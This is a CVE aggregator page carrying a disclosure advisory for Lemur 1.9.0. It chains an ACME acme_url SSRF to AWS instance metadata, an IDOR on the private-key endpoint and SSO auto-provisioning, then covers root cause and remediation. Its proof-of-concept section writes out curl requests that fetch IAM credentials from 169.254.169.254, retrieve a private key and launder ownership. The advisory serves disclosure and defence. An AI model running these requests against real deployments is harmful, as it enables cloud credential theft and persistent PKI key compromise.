CVE-2026-55166

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Vulnerability Summary

Field | Value -- | -- Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. Affected Versions | github.com/Netflix/lemur __version__ = "1.9.0" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks.

Executive Summary A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report. Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf

Description Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break. Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user. Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker. Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key. Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing. Proof of Concept & Steps to Reproduce A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80. Prerequisites: Docker, curl, jq, openssl. Run cd lemur_pki_acme_ssrf_idor/ EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review. Step 1 — Authenticate via SSO (sink 1) curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json): { "token": "eyJhbGciOiJIUzI1NiIs...", "user": { "active": true, "auto_provisioned": true, "email": "[email protected]", "id": 1, "roles": ["operator"] } }

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1. Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2) curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \ -H "Authorization: Bearer $ATTACKER_JWT" \ -H 'Content-Type: application/json' \ -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json): { "acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role", "creator_id": 1, "id": 1, "name": "poc-acme", "ssrf_error": null, "ssrf_response_body": "{ \"Code\": \"Success\", \"LastUpdated\": \"2026-05-27T20:00:00Z\", \"Type\": \"AWS-HMAC\", \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\", \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\", \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\", \"Expiration\": \"2026-05-27T22:00:00Z\" }", "ssrf_response_status": 200 }

ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2. Step 3 — Exfiltrate STS credentials The IMDS payload is evidence/05_exfil_sts_credentials.json: { "Code": "Success", "Type": "AWS-HMAC", "AccessKeyId": "ASIA5LAB000FAKE0KEYS", "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA", "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use", "Expiration": "2026-05-27T22:00:00Z" }

In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity. Step 4 — Issue a certificate as the attacker (capture the private key) curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \ -H "Authorization: Bearer $ATTACKER_JWT" \ -d '{"authority_id":1,"common_name":"pki.netflix.example"}'

curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \ -H "Authorization: Bearer $ATTACKER_JWT"

Response (evidence/06_key_fetched_pre_transfer.json): {"creator_bypass":true, "key":"-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY... -----END RSA PRIVATE KEY----- "}

The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently. Step 5 — Transfer ownership to victim admin curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \ -H "Authorization: Bearer $ATTACKER_JWT" \ -d '{"owner":"[email protected]"}'

owner is now [email protected]. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step. Step 6 — Re-fetch the private key as the original creator after transfer (sink 3) curl -sS -o /dev/null -w 'HTTP %{http_code} ' \ http://127.0.0.1:18000/api/1/certificates/1/key \ -H "Authorization: Bearer $ATTACKER_JWT"

Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3. Step 7 — Verdict VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR

  • SSO auto-provision -- [email protected] auto-created active=True
  • SSRF reaches IMDS -- acme_url=http://169.254.169.254/... was fetched
  • STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
  • PKI key persists -- creator can read private_key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value. The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id. The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had. Attack Scenario sequenceDiagram participant Attacker participant Lemur as Lemur worker participant IMDS as 169.254.169.254 participant CertDB as Lemur cert DB

Attacker->>Lemur: "SSO callback for new identity (sink 1)" Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..." Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)" IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token" Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1" Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker" Attacker->>Lemur: "GET /api/1/certificates/1/key" Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin" Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)" Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)" Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role. The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely. The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break. Remediation Four changes, in priority order:

Allowlist acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).

ALLOWED_ACME_HOSTS = current_app.config.get( "ACME_DIRECTORY_HOST_ALLOWLIST", {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"} ) parsed = urlparse(directory_url) if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS: raise ValueError("acme_url host not allowlisted")

Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.

Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.

Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context External References

CWE-918: https://cwe.mitre.org/data/definitions/918.html CWE-639: https://cwe.mitre.org/data/definitions/639.html CWE-285: https://cwe.mitre.org/data/definitions/285.html CVSS 3.1 calculator: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L IMDSv1 vs IMDSv2 background: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html (IMDSv2 mitigates SSRF-only chains; this chain still works against any deployment still on IMDSv1, and against any HTTP fetch that the worker is allowed to make). Capital One IMDS SSRF post-mortem (general SSRF→IMDS playbook): public reference, illustrative only. Walkthrough recording: https://asciinema.org/a/CFYaoR2fxWEIdZDf

CVSS v3
9.9
EG Score
9.9(low)
EPSS
KEV
Not listed

Published

June 25, 2026

Last Modified

June 25, 2026

Vendor Advisories for CVE-2026-55166(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 42× in last 7d / 67× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 04:56 UTCEG score recompute
  2. 2026-07-07 00:54 UTCEG score recompute
  3. 2026-07-06 20:52 UTCEG score recompute
  4. 2026-07-06 16:43 UTCEG score recompute
  5. 2026-07-06 12:42 UTCEG score recompute
  6. 2026-07-06 08:38 UTCEG score recompute
  7. 2026-07-06 04:36 UTCEG score recompute
  8. 2026-07-06 00:34 UTCEG score recompute
  9. 2026-07-05 20:32 UTCEG score recompute
  10. 2026-07-05 16:32 UTCEG score recompute
  11. 2026-07-05 12:30 UTCEG score recompute
  12. 2026-07-05 08:29 UTCEG score recompute
  13. 2026-07-05 04:28 UTCEG score recompute
  14. 2026-07-05 00:23 UTCEG score recompute
  15. 2026-07-04 20:20 UTCEG score recompute
  16. 2026-07-04 16:19 UTCEG score recompute
  17. 2026-07-04 12:17 UTCEG score recompute
  18. 2026-07-04 08:15 UTCEG score recompute
  19. 2026-07-04 04:15 UTCEG score recompute
  20. 2026-07-04 00:13 UTCEG score recompute
  21. 2026-07-03 20:12 UTCEG score recompute
  22. 2026-07-03 16:12 UTCEG score recompute
  23. 2026-07-03 12:11 UTCEG score recompute
  24. 2026-07-03 08:00 UTCEG score recompute
  25. 2026-07-03 03:58 UTCEG score recompute
Show 42 more
  1. 2026-07-02 23:57 UTCEG score recompute
  2. 2026-07-02 19:57 UTCEG score recompute
  3. 2026-07-02 15:55 UTCEG score recompute
  4. 2026-07-02 11:54 UTCEG score recompute
  5. 2026-07-02 07:53 UTCEG score recompute
  6. 2026-07-02 03:51 UTCEG score recompute
  7. 2026-07-01 23:50 UTCEG score recompute
  8. 2026-07-01 19:49 UTCEG score recompute
  9. 2026-07-01 15:49 UTCEG score recompute
  10. 2026-07-01 11:47 UTCEG score recompute
  11. 2026-07-01 07:46 UTCEG score recompute
  12. 2026-07-01 03:45 UTCEG score recompute
  13. 2026-06-30 23:44 UTCEG score recompute
  14. 2026-06-30 19:40 UTCEG score recompute
  15. 2026-06-30 15:39 UTCEG score recompute
  16. 2026-06-30 11:38 UTCEG score recompute
  17. 2026-06-30 07:31 UTCEG score recompute
  18. 2026-06-30 03:29 UTCEG score recompute
  19. 2026-06-29 23:28 UTCEG score recompute
  20. 2026-06-29 19:28 UTCEG score recompute
  21. 2026-06-29 15:28 UTCEG score recompute
  22. 2026-06-29 11:24 UTCEG score recompute
  23. 2026-06-29 07:23 UTCEG score recompute
  24. 2026-06-29 03:21 UTCEG score recompute
  25. 2026-06-28 23:16 UTCEG score recompute
  26. 2026-06-28 19:14 UTCEG score recompute
  27. 2026-06-28 15:13 UTCEG score recompute
  28. 2026-06-28 11:11 UTCEG score recompute
  29. 2026-06-28 07:10 UTCEG score recompute
  30. 2026-06-28 03:08 UTCEG score recompute
  31. 2026-06-27 23:07 UTCEG score recompute
  32. 2026-06-27 19:05 UTCEG score recompute
  33. 2026-06-27 15:04 UTCEG score recompute
  34. 2026-06-27 11:02 UTCEG score recompute
  35. 2026-06-27 07:01 UTCEG score recompute
  36. 2026-06-27 02:59 UTCEG score recompute
  37. 2026-06-26 22:59 UTCEG score recompute
  38. 2026-06-26 18:58 UTCEG score recompute
  39. 2026-06-26 14:58 UTCEG score recompute
  40. 2026-06-26 10:56 UTCEG score recompute
  41. 2026-06-26 02:46 UTCEG score recompute
  42. 2026-06-25 22:46 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55166?
CVE-2026-55166 is a critical vulnerability published on June 25, 2026. Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise <!-- obsidian --><h1 data-heading="Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acmeurl SSRF and creator-equality IDOR">Lemur 1.9.0: any SSO-authenticated user…
When was CVE-2026-55166 disclosed?
CVE-2026-55166 was first published in the National Vulnerability Database on June 25, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55166?
CVE-2026-55166 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55166?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55166, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55166

Explore →

Is Your Infrastructure Affected by CVE-2026-55166?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.